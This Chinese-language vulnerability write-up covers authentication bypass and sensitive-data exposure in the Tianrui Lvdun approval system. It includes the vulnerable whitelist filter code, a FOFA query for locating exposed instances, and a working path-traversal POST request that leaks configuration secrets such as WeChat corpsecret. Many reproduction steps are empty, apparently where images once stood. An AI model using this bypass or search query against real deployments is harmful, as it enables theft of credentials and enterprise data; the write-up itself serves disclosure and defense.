漏洞简介
天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,为企业提供从文件创建、流转到归档的全生命周期安全管控,常作为集成在OA系统中的加密软件,用于实现审批流程的自动化和信息化。
该系统的 getConfigValues.do、findAuditors.do、statWxApiRecord.do 、findAllUser.do、findDeptPage.do、findAllDept.do、tdSysFindDepartmentTree.do、findOnlineUserForPage.do、/ext/conf/tabledata接口存在敏感信息泄露漏洞。未经身份验证的攻击者可以通过访问此接口,获取到系统内部的敏感配置信息或用户数据。
此漏洞可能导致企业内部的用户敏感信息、系统配置参数等重要数据被非法获取,从而对企业的核心业务数据安全造成威胁,增加后续攻击面,甚至可能导致更严重的数据泄露或系统被进一步渗透的风险。
影响版本
可通过访问 /trwfe/exports/config.ini 获取版本信息
V3.53.240913
V7.05.240904
fofa语法
app="TIPPAY-绿盾审批系统"
漏洞分析
权限绕过
看下WEB-INF/web.xml中针对.do结尾的url的处理
<filter>
<filter-name>springSecurityFilterChain</filter-name>
<filter-class>
com.trwfe.filter.SecurityFilter
</filter-class>
<init-param>
<param-name>excludedPages</param-name>
<param-value>user/logon.do</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>springSecurityFilterChain</filter-name>
<url-pattern>*.do</url-pattern>
</filter-mapping>
所有以.do结尾的url请求都会经过springSecurityFilterChain的处理,跟进springSecurityFilterChain看下它的实现逻辑
public class SecurityFilter extends DelegatingFilterProxy {
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
String url = request.getRequestURI();
if (SessionFilter.isNoNeedValidate(url, request)) {
chain.doFilter(servletRequest, servletResponse);
} else {
super.doFilter(request, response, chain);
}
}
}
SecurityFilter 在执行真正的权限校验(super.doFilter())之前,会调用 SessionFilter.isNoNeedValidate() 方法来检查当前请求的URL是否在“无需认证”的白名单内。如果URL在白名单中,则直接调用 chain.doFilter(),跳过所有 Spring Security 的认证和授权检查。
其次是看见了我们的老熟人 String url = request.getRequestURI(); 老生长谈的url鉴权绕过
再跟进SessionFilter.isNoNeedValidate()方法看下它的实现
public static boolean isNoNeedValidate(String url, HttpServletRequest request) {
String[] paths = new String[]{"/login.jsp", "/user/logon.do", "/service/", "/menu/getI18N.do", "/menu/getLang.do", "/task/findTaskByIdToDingding.do", "/file/dingApproval.do", "/file/isFileExists.do", "/file/downloadFileTr.do", "/config/findAll.do", "/task/findTaskDing.do", "/task/getUserIdByCode_Ding.do", "/task/getUserMobileToDing.do", "/dept/findDepartmentTree.do", "/file/changeLevel.do", "/tasl/updateParameter.do", "/file/dingdingRelieveApproval.do", "/task/dingFindHistory.do", "/config/findByPk.do", "/task/dispatch.do", "/fanwei/fanweiDispatch.do", "/taskCommon/dispatch.do", "/pages/fanweioa/fanweiApproval.jsp", "/config/findByUserId.do", "/task/ishandle.do", "/file/isDecryptionFileExits.do", "/file/downFileByconfirm.do", "/file/isDensityFileExists.do", "/file/downloadDensityFile.do", "/ding/", "/wx/", "/fanwei/", "/file/editRelieveVal.do", "/task/finddensityConfirmationComments.do", "/file/updateCancelWMVal.do", "/file/updateCancelWMVal.do", "/file/updateCancelWMValSlot.do", "/invoker/findCategoryCombo.do", "/file/downloadFileTrDlp.do", "/file/isFileExistsDlp.do", "/editor/isPreview.do", "/file/downloadEx.do", "/editor/dispatch.do", "/file/getTxtContent.do", "/file/downloadFileExtranet.do", "/file/asyncDownload.do", "/file/getStatus.do", "/file/downloadByUuid.do", "/file/getCompressPackageFileList.do", "/editor/isPreviewByFileName.do", "/file/getCompressPackageFileListByName.do", "/task/validateDdApprover.do", "/task/updateFileOutSendParameter.do", "/task/findNodeChild.do", "/task/fileList.do", "/thirdSystemConfig/getFlowNodeInfo.do", "/task/updateScreenshotParamD.do", "/user/randomCode.do", "/user/showRandomCode.do", "/user/userUnLock.do"};
for(String path : paths) {
if (url.startsWith(request.getContextPath() + path)) {
return true;
}
}
return isDdWxDownLoad(url, request);
}
public static boolean isDdWxDownLoad(String url, HttpServletRequest request) {
String[] paths = null;
if (Config.DING_QYWX_DOWNLOAD_FILE) {
paths = new String[]{"/file/downloadApplyFileNew.do", "/file/fileExistsToDownload.do", "/file/downloadFileDDWx.do"};
} else {
paths = new String[0];
}
for(String path : paths) {
if (url.startsWith(request.getContextPath() + path)) {
return true;
}
}
return false;
}
ok,到这里,就可以发现非常明显的权限绕过漏洞了:如果请求的url以上述这些路径开头就会直接绕过鉴权部分直接进入后续的处理流程。
信息泄露
getConfigValues.do
看下getConfigValues.do的实现部分

直接返回配置信息,因此造成了敏感信息泄露漏洞。
findAuditors.do

statWxApiRecord.do

findAllUser.do

findDeptPage.do

findAllDept.do

tdSysFindDepartmentTree.do

findOnlineUserForPage.do

/ext/conf/tabledata

APPROVAL_TABLE_NAME定义如下

对应的 WEB-INF/classes/pack.properties 配置如下

对应的 mapper 如下

/ext/fileServer




/ext/fileServer/upload

分析同上

漏洞复现
getConfigValues.do
需要POST请求
POST /trwfe/login.jsp/.%2e/config/getConfigValues.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded

成功得到系统配置信息,如微信的corpid、corpsecret和mi.secret以及hw.secret等敏感配置信息。
findAuditors.do

statWxApiRecord.do

findAllUser.do

findDeptPage.do

findAllDept.do

tdSysFindDepartmentTree.do

findOnlineUserForPage.do

/ext/conf/tabledata

通过不存在的表导致sql报错,泄露系统物理路径
/ext/fileServer

泄露文件传输的端口以及密码

/ext/fileServer/upload
同上


